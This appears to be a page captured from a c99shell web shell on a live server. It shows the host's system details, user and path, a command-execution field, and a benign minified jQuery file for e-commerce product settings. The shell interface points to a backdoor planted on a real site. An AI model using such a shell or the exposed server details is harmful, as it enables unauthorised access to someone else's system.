Software: Apache. PHP/8.1.30 uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root) Safe-mode: OFF (not secure) /home/picotech/domains/ecom1.picotech.app/public_html_ecom1/public/dist/js/custom/ drwxr-xr-x |
Viewing file: Select action/file-type: "use strict";var obj={coupons:["calculate_coupon"],reviews_enable_product_review:["reviews_verified_owner_label","review_left","rating_enable"],rating_enable:["rating_required"],manage_stock:["out_of_stock_visibility","stock_threshold","notification_out_of_stock","notification_low_stock","hold_stock"],is_active:["is_category_based","amount"]};function checkDependency(){for(const e in obj)if($("#"+e).attr("checked"))for(const t in obj[e])$("#"+obj[e][t]).closest(".dependency").slideDown(400);else for(const n in obj[e])$("#"+obj[e][n]).closest(".dependency").slideUp(400)}checkDependency(),$(".checkActivity").on("change",function(){$(this).attr("checked")?$(this).removeAttr("checked"):$(this).attr("checked",!0),checkDependency()}),$(".conditional").ifs(),$(".warningMessage").css("display","none"),$("#v-pills-general-tab").trigger("click"),$("input").on("change",function(){$(this).closest(".parent").find(".warning-message").addClass("alert-secondary"),$(this).closest(".parent").find(".warningMessage").slideDown(300),$(this).closest(".parent").find("#warning-msg").html(jsLang("Settings have changed, you should save them!"))}),$(".tab-name").on("click",function(){var e=$(this).attr("data-id");$("#theme-title").html(e)}),$(".product_setting_form").on("submit",function(e){e.preventDefault(),$(this).find("button.save-button").attr("type","submit").addClass("cursor_not_allowed").find(".product-spinner").removeClass("d-none");var e=$(this).attr("action"),t=this;$.ajax({url:e,type:"POST",data:$(this).serialize(),success:function(e){"success"==e.status?$(t).closest(".parent").find(".abc").addClass("alert-success"):$(t).closest(".parent").find(".abc").addClass("alert-danger"),$(t).closest(".parent").find(".warningMessage").css("display","block"),$(t).closest(".parent").find(".msg").html(e.message),$(t).find("button.save-button").attr("type","submit").removeClass("cursor_not_allowed").find(".product-spinner").addClass("d-none")},error:function(e){$(t).find("button.save-button").attr("type","submit").removeClass("cursor_not_allowed").find(".product-spinner").addClass("d-none")}}),setTimeout(()=>{$(t).closest(".parent").find(".warningMessage").slideUp(500),setTimeout(()=>{$(t).closest(".parent").find(".abc").removeClass("alert-success"),$(t).closest(".parent").find(".abc").removeClass("alert-danger")},501)},5e3)});var currentUrl=window.location.href,splitUrl=currentUrl.split("#"),fragment=splitUrl[splitUrl.length-1],fragmentValue={vendor:"v-pills-vendor-tab",inventory:"v-pills-inventory-tab",general:"v-pills-general-tab"};for(const j in fragmentValue)if(j==fragment){$("#"+fragmentValue[j]).trigger("click");break}$("#rating_enable").on("click",function(){$("#rating_required").prop("checked",$(this).is(":checked"))}); |
:: Command execute :: | |
--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0036 ]-- |